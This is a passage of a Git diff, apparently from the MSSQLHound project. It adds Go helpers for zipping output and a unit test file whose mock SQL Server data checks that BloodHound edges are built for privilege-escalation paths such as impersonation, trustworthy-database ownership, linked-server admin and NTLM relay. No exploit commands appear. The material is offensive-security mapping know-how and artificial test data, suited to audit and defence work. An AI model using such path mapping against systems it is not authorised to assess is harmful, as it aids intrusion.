os.Create(zipPath) + if err != nil { + return "", err + } + defer zipFile.Close() + + zipWriter := zip.NewWriter(zipFile) + defer zipWriter.Close() + + for _, filePath := range c.outputFiles { + if err := addFileToZip(zipWriter, filePath); err != nil { + return "", fmt.Errorf("failed to add %s to zip: %w", filePath, err) + } + } + + return zipPath, nil +} + +// addFileToZip adds a file to a zip archive +func addFileToZip(zipWriter *zip.Writer, filePath string) error { + file, err := os.Open(filePath) + if err != nil { + return err + } + defer file.Close() + + info, err := file.Stat() + if err != nil { + return err + } + + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + header.Name = filepath.Base(filePath) + header.Method = zip.Deflate + + writer, err := zipWriter.CreateHeader(header) + if err != nil { + return err + } + + _, err = io.Copy(writer, file) + return err +} + +// generateFilename creates a filename matching PowerShell naming convention +// Format: mssql-{hostname}[_{port}][_{instance}].json +// - Port 1433 is omitted +// - Instance "MSSQLSERVER" is omitted +// - Uses underscore (_) as separator, not hyphen +func (c *Collector) generateFilename(server *ServerToProcess) string { + parts := []string{server.Hostname} + + // Add port only if not 1433 + if server.Port != 1433 { + parts = append(parts, strconv.Itoa(server.Port)) + } + + // Add instance only if not default + if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" { + parts = append(parts, server.InstanceName) + } + + // Join with underscore and sanitize + cleanedName := strings.Join(parts, "_") + // Replace problematic filename characters with underscore (matching PS behavior) + replacer := strings.NewReplacer( + "\\", "_", + "/", "_", + ":", "_", + "*", "_", + "?", "_", + "\"", "_", + "<", "_", + ">", "_", + "|", "_", + ) + cleanedName = replacer.Replace(cleanedName) + + return fmt.Sprintf("mssql-%s.json", cleanedName) +} + +// sanitizeFilename makes a string safe for use as a filename +func sanitizeFilename(s string) string { + // Replace problematic characters + replacer := strings.NewReplacer( + "\\", "-", + "/", "-", + ":", "-", + "*", "-", + "?", "-", + "\"", "-", + "<", "-", + ">", "-", + "|", "-", + ) + return replacer.Replace(s) +} + +// logVerbose logs a message only if verbose mode is enabled +func (c *Collector) logVerbose(format string, args ...interface{}) { + if c.config.Verbose { + fmt.Printf(format+"\n", args...) + } +} + +// getMemoryUsage returns a string describing current memory usage +func (c *Collector) getMemoryUsage() string { + var m runtime.MemStats + runtime.ReadMemStats(&m) + + // Get allocated memory in GB + allocatedGB := float64(m.Alloc) / 1024 / 1024 / 1024 + + // Try to get system memory info (this is a rough estimate) + // On Windows, we'd ideally use syscall but this gives a basic view + sysGB := float64(m.Sys) / 1024 / 1024 / 1024 + + return fmt.Sprintf("%.2fGB allocated (%.2fGB system)", allocatedGB, sysGB) +} diff --git a/internal/collector/collector_test.go b/internal/collector/collector_test.go new file mode 100644 index 0000000..9b95f19 --- /dev/null +++ b/internal/collector/collector_test.go @@ -0,0 +1,961 @@ +// Package collector provides unit tests for MSSQL data collection and edge creation. +package collector + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// TestEdgeCreation tests that edges are created correctly for various scenarios +func TestEdgeCreation(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + // Create a mock server info with test data + serverInfo := createMockServerInfo() + + // Create collector with minimal config + config := &Config{ + TempDir: tmpDir, + IncludeNontraversableEdges: true, + } + c := New(config) + + // Create output file + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write nodes first (manually since createNodes is private) + // Server node + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + t.Fatalf("Failed to write server node: %v", err) + } + + // Database nodes + for _, db := range serverInfo.Databases { + dbNode := c.createDatabaseNode(&db, serverInfo) + if err := writer.WriteNode(dbNode); err != nil { + t.Fatalf("Failed to write database node: %v", err) + } + + // Database principal nodes + for _, principal := range db.DatabasePrincipals { + principalNode := c.createDatabasePrincipalNode(&principal, &db, serverInfo) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write database principal node: %v", err) + } + } + } + + // Server principal nodes + for _, principal := range serverInfo.ServerPrincipals { + principalNode := c.createServerPrincipalNode(&principal, serverInfo, nil) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write server principal node: %v", err) + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create edges: %v", err) + } + + // Create fixed role edges + if err := c.createFixedRoleEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create fixed role edges: %v", err) + } + + // Close writer + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and verify output + nodes, edges, err := bloodhound.ReadFromFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + // Verify expected edges exist + verifyEdges(t, edges, nodes) +} + +// createMockServerInfo creates a mock ServerInfo for testing +func createMockServerInfo() *types.ServerInfo { + domainSID := "S-1-5-21-1234567890-1234567890-1234567890" + serverSID := domainSID + "-1001" + serverOID := serverSID + ":1433" + + return &types.ServerInfo{ + ObjectIdentifier: serverOID, + Hostname: "testserver", + ServerName: "TESTSERVER", + SQLServerName: "testserver.domain.com:1433", + InstanceName: "MSSQLSERVER", + Port: 1433, + Version: "Microsoft SQL Server 2019", + VersionNumber: "15.0.2000.5", + IsMixedModeAuth: true, + ForceEncryption: "No", + ExtendedProtection: "Off", + ComputerSID: serverSID, + DomainSID: domainSID, + FQDN: "testserver.domain.com", + ServiceAccounts: []types.ServiceAccount{ + { + Name: "DOMAIN\\sqlservice", + ServiceName: "SQL Server (MSSQLSERVER)", + ServiceType: "SQLServer", + SID: "S-1-5-21-1234567890-1234567890-1234567890-2001", + ObjectIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-2001", + }, + }, + Credentials: []types.Credential{ + { + CredentialID: 1, + Name: "TestCredential", + CredentialIdentity: "DOMAIN\\creduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001", + CreateDate: time.Now(), + ModifyDate: time.Now(), + }, + }, + ProxyAccounts: []types.ProxyAccount{ + { + ProxyID: 1, + Name: "TestProxy", + CredentialID: 1, + CredentialIdentity: "DOMAIN\\proxyuser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5002", + Enabled: true, + Subsystems: []string{"CmdExec", "PowerShell"}, + Logins: []string{"TestLogin_WithProxy"}, + }, + }, + ServerPrincipals: []types.ServerPrincipal{ + // sa login + { + ObjectIdentifier: "sa@" + serverOID, + PrincipalID: 1, + Name: "sa", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + MemberOf: []types.RoleMembership{ + {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3}, + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // public role + { + ObjectIdentifier: "public@" + serverOID, + PrincipalID: 2, + Name: "public", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // sysadmin role + { + ObjectIdentifier: "sysadmin@" + serverOID, + PrincipalID: 3, + Name: "sysadmin", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // securityadmin role + { + ObjectIdentifier: "securityadmin@" + serverOID, + PrincipalID: 4, + Name: "securityadmin", + TypeDescription: "SERVER_ROLE", + IsDisabled: false, + IsFixedRole: true, + SQLServerName: "testserver.domain.com:1433", + }, + // Domain user login with sysadmin + { + ObjectIdentifier: "DOMAIN\\testadmin@" + serverOID, + PrincipalID: 256, + Name: "DOMAIN\\testadmin", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1100", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + MemberOf: []types.RoleMembership{ + {ObjectIdentifier: "sysadmin@" + serverOID, Name: "sysadmin", PrincipalID: 3}, + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Domain user login with CONTROL SERVER + { + ObjectIdentifier: "DOMAIN\\controluser@" + serverOID, + PrincipalID: 257, + Name: "DOMAIN\\controluser", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1101", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + {Permission: "CONTROL SERVER", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login with IMPERSONATE ANY LOGIN + { + ObjectIdentifier: "DOMAIN\\impersonateuser@" + serverOID, + PrincipalID: 258, + Name: "DOMAIN\\impersonateuser", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-1102", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + {Permission: "IMPERSONATE ANY LOGIN", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login with mapped credential + { + ObjectIdentifier: "TestLogin_WithCred@" + serverOID, + PrincipalID: 259, + Name: "TestLogin_WithCred", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + MappedCredential: &types.Credential{ + CredentialID: 1, + Name: "TestCredential", + CredentialIdentity: "DOMAIN\\creduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001", + }, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + // Login authorized to use proxy + { + ObjectIdentifier: "TestLogin_WithProxy@" + serverOID, + PrincipalID: 260, + Name: "TestLogin_WithProxy", + TypeDescription: "SQL_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "", + IsActiveDirectoryPrincipal: false, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }, + }, + Databases: []types.Database{ + { + ObjectIdentifier: serverOID + "\\master", + DatabaseID: 1, + Name: "master", + OwnerLoginName: "sa", + OwnerObjectIdentifier: "sa@" + serverOID, + IsTrustworthy: false, + SQLServerName: "testserver.domain.com:1433", + DatabasePrincipals: []types.DatabasePrincipal{ + { + ObjectIdentifier: "dbo@" + serverOID + "\\master", + PrincipalID: 1, + Name: "dbo", + TypeDescription: "SQL_USER", + DatabaseName: "master", + SQLServerName: "testserver.domain.com:1433", + ServerLogin: &types.ServerLoginRef{ + ObjectIdentifier: "sa@" + serverOID, + Name: "sa", + PrincipalID: 1, + }, + }, + { + ObjectIdentifier: "db_owner@" + serverOID + "\\master", + PrincipalID: 16384, + Name: "db_owner", + TypeDescription: "DATABASE_ROLE", + IsFixedRole: true, + DatabaseName: "master", + SQLServerName: "testserver.domain.com:1433", + }, + }, + }, + // Trustworthy database for ExecuteAsOwner test + { + ObjectIdentifier: serverOID + "\\TrustDB", + DatabaseID: 5, + Name: "TrustDB", + OwnerLoginName: "DOMAIN\\testadmin", + OwnerObjectIdentifier: "DOMAIN\\testadmin@" + serverOID, + IsTrustworthy: true, + SQLServerName: "testserver.domain.com:1433", + DatabasePrincipals: []types.DatabasePrincipal{ + { + ObjectIdentifier: "dbo@" + serverOID + "\\TrustDB", + PrincipalID: 1, + Name: "dbo", + TypeDescription: "SQL_USER", + DatabaseName: "TrustDB", + SQLServerName: "testserver.domain.com:1433", + }, + }, + }, + // Database with DB-scoped credential + { + ObjectIdentifier: serverOID + "\\CredDB", + DatabaseID: 6, + Name: "CredDB", + OwnerLoginName: "sa", + OwnerObjectIdentifier: "sa@" + serverOID, + IsTrustworthy: false, + SQLServerName: "testserver.domain.com:1433", + DBScopedCredentials: []types.DBScopedCredential{ + { + CredentialID: 1, + Name: "DBScopedCred", + CredentialIdentity: "DOMAIN\\dbcreduser", + ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5003", + CreateDate: time.Now(), + ModifyDate: time.Now(), + }, + }, + }, + }, + LinkedServers: []types.LinkedServer{ + { + ServerID: 1, + Name: "LINKED_SERVER", + Product: "SQL Server", + Provider: "SQLNCLI11", + DataSource: "linkedserver.domain.com", + IsLinkedServer: true, + IsRPCOutEnabled: true, + IsDataAccessEnabled: true, + }, + // Linked server with admin privileges for LinkedAsAdmin test + { + ServerID: 2, + Name: "ADMIN_LINKED_SERVER", + Product: "SQL Server", + Provider: "SQLNCLI11", + DataSource: "adminlinkedserver.domain.com", + IsLinkedServer: true, + IsRPCOutEnabled: true, + IsDataAccessEnabled: true, + RemoteLogin: "admin_sql_login", + RemoteIsSysadmin: true, + RemoteIsMixedMode: true, + ResolvedObjectIdentifier: "S-1-5-21-9999999999-9999999999-9999999999-1001:1433", + }, + }, + } +} + +// createMockServerInfoWithComputerLogin creates a mock ServerInfo with a computer account login +// for testing CoerceAndRelayToMSSQL edge +func createMockServerInfoWithComputerLogin() *types.ServerInfo { + info := createMockServerInfo() + serverOID := info.ObjectIdentifier + + // Add a computer account login + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "DOMAIN\\WORKSTATION1$@" + serverOID, + PrincipalID: 500, + Name: "DOMAIN\\WORKSTATION1$", + TypeDescription: "WINDOWS_LOGIN", + IsDisabled: false, + IsFixedRole: false, + SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-3001", + IsActiveDirectoryPrincipal: true, + SQLServerName: "testserver.domain.com:1433", + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }) + + return info +} + +// verifyEdges checks that all expected edges are present +func verifyEdges(t *testing.T, edges []bloodhound.Edge, nodes []bloodhound.Node) { + // Build edge lookup + edgesByKind := make(map[string][]bloodhound.Edge) + for _, edge := range edges { + edgesByKind[edge.Kind] = append(edgesByKind[edge.Kind], edge) + } + + // Test: MSSQL_Contains edges + t.Run("Contains edges", func(t *testing.T) { + containsEdges := edgesByKind[bloodhound.EdgeKinds.Contains] + if len(containsEdges) == 0 { + t.Error("Expected MSSQL_Contains edges, got none") + } + // Check server contains databases + found := false + for _, e := range containsEdges { + if strings.HasSuffix(e.End.Value, "\\master") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_Contains edge from server to master database") + } + }) + + // Test: MSSQL_MemberOf edges + t.Run("MemberOf edges", func(t *testing.T) { + memberOfEdges := edgesByKind[bloodhound.EdgeKinds.MemberOf] + if len(memberOfEdges) == 0 { + t.Error("Expected MSSQL_MemberOf edges, got none") + } + // Check sa is member of sysadmin + found := false + for _, e := range memberOfEdges { + if strings.HasPrefix(e.Start.Value, "sa@") && strings.Contains(e.End.Value, "sysadmin@") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_MemberOf edge from sa to sysadmin") + } + }) + + // Test: MSSQL_Owns edges + t.Run("Owns edges", func(t *testing.T) { + ownsEdges := edgesByKind[bloodhound.EdgeKinds.Owns] + if len(ownsEdges) == 0 { + t.Error("Expected MSSQL_Owns edges, got none") + } + }) + + // Test: MSSQL_ControlServer edges (from sysadmin role) + t.Run("ControlServer edges", func(t *testing.T) { + controlServerEdges := edgesByKind[bloodhound.EdgeKinds.ControlServer] + if len(controlServerEdges) == 0 { + t.Error("Expected MSSQL_ControlServer edges, got none") + } + // Check sysadmin has ControlServer + found := false + for _, e := range controlServerEdges { + if strings.Contains(e.Start.Value, "sysadmin@") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_ControlServer edge from sysadmin") + } + }) + + // Test: MSSQL_ImpersonateAnyLogin edges + t.Run("ImpersonateAnyLogin edges", func(t *testing.T) { + impersonateEdges := edgesByKind[bloodhound.EdgeKinds.ImpersonateAnyLogin] + if len(impersonateEdges) == 0 { + t.Error("Expected MSSQL_ImpersonateAnyLogin edges, got none") + } + }) + + // Test: MSSQL_HasLogin edges + t.Run("HasLogin edges", func(t *testing.T) { + hasLoginEdges := edgesByKind[bloodhound.EdgeKinds.HasLogin] + if len(hasLoginEdges) == 0 { + t.Error("Expected MSSQL_HasLogin edges, got none") + } + // Check domain user has login + found := false + for _, e := range hasLoginEdges { + if strings.HasPrefix(e.Start.Value, "S-1-5-21-") { + found = true + break + } + } + if !found { + t.Error("Expected MSSQL_HasLogin edge from AD SID to login") + } + }) + + // Test: MSSQL_ServiceAccountFor edges + t.Run("ServiceAccountFor edges", func(t *testing.T) { + saEdges := edgesByKind[bloodhound.EdgeKinds.ServiceAccountFor] + if len(saEdges) == 0 { + t.Error("Expected MSSQL_ServiceAccountFor edges, got none") + } + }) + + // Test: MSSQL_GetAdminTGS edges + t.Run("GetAdminTGS edges", func(t *testing.T) { + getAdminTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetAdminTGS] + if len(getAdminTGSEdges) == 0 { + t.Error("Expected MSSQL_GetAdminTGS edges, got none") + } + }) + + // Test: MSSQL_GetTGS edges + t.Run("GetTGS edges", func(t *testing.T) { + getTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetTGS] + if len(getTGSEdges) == 0 { + t.Error("Expected MSSQL_GetTGS edges, got none") + } + }) + + // Test: MSSQL_IsTrustedBy edges (for trustworthy database) + t.Run("IsTrustedBy edges", func(t *testing.T) { + trustEdges := edgesByKind[bloodhound.EdgeKinds.IsTrustedBy] + if len(trustEdges) == 0 { + t.Error("Expected MSSQL_IsTrustedBy edges for trustworthy database, got none") + } + }) + + // Test: MSSQL_ExecuteAsOwner edges (for trustworthy database owned by sysadmin) + t.Run("ExecuteAsOwner edges", func(t *testing.T) { + executeAsOwnerEdges := edgesByKind[bloodhound.EdgeKinds.ExecuteAsOwner] + if len(executeAsOwnerEdges) == 0 { + t.Error("Expected MSSQL_ExecuteAsOwner edges for trustworthy database, got none") + } + }) + + // Test: MSSQL_HasMappedCred edges + t.Run("HasMappedCred edges", func(t *testing.T) { + credEdges := edgesByKind[bloodhound.EdgeKinds.HasMappedCred] + if len(credEdges) == 0 { + t.Error("Expected MSSQL_HasMappedCred edges, got none") + } + }) + + // Test: MSSQL_HasProxyCred edges + t.Run("HasProxyCred edges", func(t *testing.T) { + proxyEdges := edgesByKind[bloodhound.EdgeKinds.HasProxyCred] + if len(proxyEdges) == 0 { + t.Error("Expected MSSQL_HasProxyCred edges, got none") + } + }) + + // Test: MSSQL_HasDBScopedCred edges + t.Run("HasDBScopedCred edges", func(t *testing.T) { + dbCredEdges := edgesByKind[bloodhound.EdgeKinds.HasDBScopedCred] + if len(dbCredEdges) == 0 { + t.Error("Expected MSSQL_HasDBScopedCred edges, got none") + } + }) + + // Test: MSSQL_LinkedTo edges + t.Run("LinkedTo edges", func(t *testing.T) { + linkedEdges := edgesByKind[bloodhound.EdgeKinds.LinkedTo] + if len(linkedEdges) == 0 { + t.Error("Expected MSSQL_LinkedTo edges, got none") + } + }) + + // Test: MSSQL_LinkedAsAdmin edges (for linked server with admin privileges) + t.Run("LinkedAsAdmin edges", func(t *testing.T) { + linkedAdminEdges := edgesByKind[bloodhound.EdgeKinds.LinkedAsAdmin] + if len(linkedAdminEdges) == 0 { + t.Error("Expected MSSQL_LinkedAsAdmin edges for linked server with admin login, got none") + } + }) + + // Test: MSSQL_IsMappedTo edges (login to database user) + t.Run("IsMappedTo edges", func(t *testing.T) { + mappedEdges := edgesByKind[bloodhound.EdgeKinds.IsMappedTo] + if len(mappedEdges) == 0 { + t.Error("Expected MSSQL_IsMappedTo edges, got none") + } + }) + + // Print summary + t.Logf("Total nodes: %d, Total edges: %d", len(nodes), len(edges)) + t.Logf("Edge counts by type:") + for kind, kindEdges := range edgesByKind { + t.Logf(" %s: %d", kind, len(kindEdges)) + } +} + +// TestEdgeProperties tests that edge properties are correctly set +func TestEdgeProperties(t *testing.T) { + tests := []struct { + name string + edgeKind string + ctx *bloodhound.EdgeContext + }{ + { + name: "MemberOf edge", + edgeKind: bloodhound.EdgeKinds.MemberOf, + ctx: &bloodhound.EdgeContext{ + SourceName: "testuser", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "sysadmin", + TargetType: bloodhound.NodeKinds.ServerRole, + SQLServerName: "testserver:1433", + }, + }, + { + name: "ServiceAccountFor edge", + edgeKind: bloodhound.EdgeKinds.ServiceAccountFor, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testserver:1433", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasMappedCred edge", + edgeKind: bloodhound.EdgeKinds.HasMappedCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "testlogin", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "DOMAIN\\creduser", + TargetType: "Base", + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasProxyCred edge", + edgeKind: bloodhound.EdgeKinds.HasProxyCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "testlogin", + SourceType: bloodhound.NodeKinds.Login, + TargetName: "DOMAIN\\proxyuser", + TargetType: "Base", + SQLServerName: "testserver:1433", + }, + }, + { + name: "HasDBScopedCred edge", + edgeKind: bloodhound.EdgeKinds.HasDBScopedCred, + ctx: &bloodhound.EdgeContext{ + SourceName: "TestDB", + SourceType: bloodhound.NodeKinds.Database, + TargetName: "DOMAIN\\dbcreduser", + TargetType: "Base", + SQLServerName: "testserver:1433", + DatabaseName: "TestDB", + }, + }, + { + name: "GetTGS edge", + edgeKind: bloodhound.EdgeKinds.GetTGS, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testlogin", + TargetType: bloodhound.NodeKinds.Login, + SQLServerName: "testserver:1433", + }, + }, + { + name: "GetAdminTGS edge", + edgeKind: bloodhound.EdgeKinds.GetAdminTGS, + ctx: &bloodhound.EdgeContext{ + SourceName: "DOMAIN\\sqlservice", + SourceType: "Base", + TargetName: "testserver:1433", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "testserver:1433", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + props := bloodhound.GetEdgeProperties(tt.edgeKind, tt.ctx) + + // Check that properties are set + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } + if props["linuxAbuse"] == nil { + t.Error("Expected 'linuxAbuse' property to be set") + } + if props["traversable"] == nil { + t.Error("Expected 'traversable' property to be set") + } + }) + } +} + +// TestNodeKinds tests that node kinds are correctly assigned +func TestNodeKinds(t *testing.T) { + tests := []struct { + typeDesc string + expectedKind string + isServerType bool + }{ + {"SERVER_ROLE", bloodhound.NodeKinds.ServerRole, true}, + {"SQL_LOGIN", bloodhound.NodeKinds.Login, true}, + {"WINDOWS_LOGIN", bloodhound.NodeKinds.Login, true}, + {"WINDOWS_GROUP", bloodhound.NodeKinds.Login, true}, + {"DATABASE_ROLE", bloodhound.NodeKinds.DatabaseRole, false}, + {"SQL_USER", bloodhound.NodeKinds.DatabaseUser, false}, + {"WINDOWS_USER", bloodhound.NodeKinds.DatabaseUser, false}, + {"APPLICATION_ROLE", bloodhound.NodeKinds.ApplicationRole, false}, + } + + c := New(&Config{}) + + for _, tt := range tests { + t.Run(tt.typeDesc, func(t *testing.T) { + var kind string + if tt.isServerType { + kind = c.getServerPrincipalType(tt.typeDesc) + } else { + kind = c.getDatabasePrincipalType(tt.typeDesc) + } + if kind != tt.expectedKind { + t.Errorf("Expected %s, got %s for type %s", tt.expectedKind, kind, tt.typeDesc) + } + }) + } +} + +// TestOutputFormat tests that the output JSON is valid BloodHound format +func TestOutputFormat(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write a test node + node := &bloodhound.Node{ + ID: "test-node-1", + Kinds: []string{"MSSQL_Server", "Base"}, + Properties: map[string]interface{}{ + "name": "TestServer", + "enabled": true, + }, + } + if err := writer.WriteNode(node); err != nil { + t.Fatalf("Failed to write node: %v", err) + } + + // Write a test edge + edge := &bloodhound.Edge{ + Start: bloodhound.EdgeEndpoint{Value: "source-1"}, + End: bloodhound.EdgeEndpoint{Value: "target-1"}, + Kind: "MSSQL_Contains", + Properties: map[string]interface{}{ + "traversable": true, + }, + } + if err := writer.WriteEdge(edge); err != nil { + t.Fatalf("Failed to write edge: %v", err) + } + + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and validate the output + data, err := os.ReadFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + var output struct { + Schema string `json:"$schema"` + Metadata struct { + SourceKind string `json:"source_kind"` + } `json:"metadata"` + Graph struct { + Nodes []json.RawMessage `json:"nodes"` + Edges []json.RawMessage `json:"edges"` + } `json:"graph"` + } + + if err := json.Unmarshal(data, &output); err != nil { + t.Fatalf("Output is not valid JSON: %v", err) + } + + // Verify structure + if output.Schema == "" { + t.Error("Expected $schema to be set") + } + if output.Metadata.SourceKind != "MSSQL_Base" { + t.Errorf("Expected source_kind to be MSSQL_Base, got %s", output.Metadata.SourceKind) + } + if len(output.Graph.Nodes) != 1 { + t.Errorf("Expected 1 node, got %d", len(output.Graph.Nodes)) + } + if len(output.Graph.Edges) != 1 { + t.Errorf("Expected 1 edge, got %d", len(output.Graph.Edges)) + } +} + +// TestCoerceAndRelayEdge tests that CoerceAndRelayToMSSQL edges are created +// when Extended Protection is Off and a computer account has a login +func TestCoerceAndRelayEdge(t *testing.T) { + // Create a temporary directory for output + tmpDir, err := os.MkdirTemp("", "mssqlhound-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + defer os.RemoveAll(tmpDir) + + // Create a mock server info with a computer account login + serverInfo := createMockServerInfoWithComputerLogin() + + // Create collector with a domain specified (needed for CoerceAndRelay) + config := &Config{ + TempDir: tmpDir, + Domain: "domain.com", + IncludeNontraversableEdges: true, + } + c := New(config) + + // Create output file + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write nodes + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + t.Fatalf("Failed to write server node: %v", err) + } + + for _, principal := range serverInfo.ServerPrincipals { + principalNode := c.createServerPrincipalNode(&principal, serverInfo, nil) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write server principal node: %v", err) + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create edges: %v", err) + } + + // Close writer + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + // Read and verify output + _, edges, err := bloodhound.ReadFromFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output: %v", err) + } + + // Check for CoerceAndRelayToMSSQL edge + found := false + for _, edge := range edges { + if edge.Kind == bloodhound.EdgeKinds.CoerceAndRelayTo { + found = true + // Verify it's from Authenticated Users to the computer login + if !strings.Contains(edge.Start.Value, "S-1-5-11") { + t.Errorf("Expected CoerceAndRelayToMSSQL source to be Authenticated Users SID, got %s", edge.Start.Value) + } + if !strings.Contains(edge.End.Value, "WORKSTATION1$") { + t.Errorf("Expected CoerceAndRelayToMSSQL target to be computer login, got %s", edge.End.Value) + } + break + } + } + + if !found { + t.Error("Expected CoerceAndRelayToMSSQL edge for computer login with EPA Off, got none") + t.Logf("Edges found: %d", len(edges)) + for _, edge := range edges { + t.Logf(" %s: %s -> %s", edge.Kind, edge.Start.Value, edge.End.Value) + } + } +} + +// TestLinkedAsAdminEdgeProperties tests that LinkedAsAdmin edge properties are correctly set +func TestLinkedAsAdminEdgeProperties(t *testing.T) { + ctx := &bloodhound.EdgeContext{ + SourceName: "SourceServer", + SourceType: bloodhound.NodeKinds.Server, + TargetName: "TargetServer", + TargetType: bloodhound.NodeKinds.Server, + SQLServerName: "sourceserver.domain.com:1433", + } + + props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.LinkedAsAdmin, ctx) + + if props["traversable"] != true { + t.Error("Expected LinkedAsAdmin to be traversable") + } + if props["general"] == nil || props["general"] == "" { + t.Error("Expected 'general' property to be set") + } + if props["windowsAbuse"] == nil { + t.Error("Expected 'windowsAbuse' property to be set") + } +} + +// TestCoerceAndRelayEdgeProperties tests that CoerceAndRelayToMSSQL edge properties are correctly set +func TestCoerceAndRelayEdgeProperties(t *testing.T) { + ctx := &bloodhound.EdgeContext{ + SourceName: "AUTHENTICATED USERS", + SourceType: "Group", + TargetName: "DOMAIN\\COMPUTER$", + TargetType: bloodhound.NodeKinds.Login, 